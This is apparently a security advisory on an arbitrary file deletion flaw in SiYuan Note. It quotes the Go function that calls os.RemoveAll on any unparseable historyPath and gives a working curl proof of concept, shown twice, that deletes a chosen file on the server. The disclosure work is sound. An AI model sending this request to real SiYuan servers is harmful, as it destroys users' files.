Summary

SiYuan has an arbitrary file deletion vulnerability

Details

Summary

A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.

Details

The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.

Sending a request to the /api/history/getDocHistoryContent like:

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

Replace <abs_filepath_of_a_file> with the absolute file path of the target file you wish to delete.

The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.

In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.

if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll

```go func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) { if !gulu.File.IsExist(historyPath) { logging.LogWarnf("doc history [%s] not exist", historyPath) return }

data, err := filelock.ReadFile(historyPath)
if err != nil {
    logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
    return
}
isLargeDoc = 1024*1024*1 <= len(data)

luteEngine := NewLute()
historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
if err != nil {
    logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
    os.RemoveAll(historyPath)
    return
}
...

} ```

PoC

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'
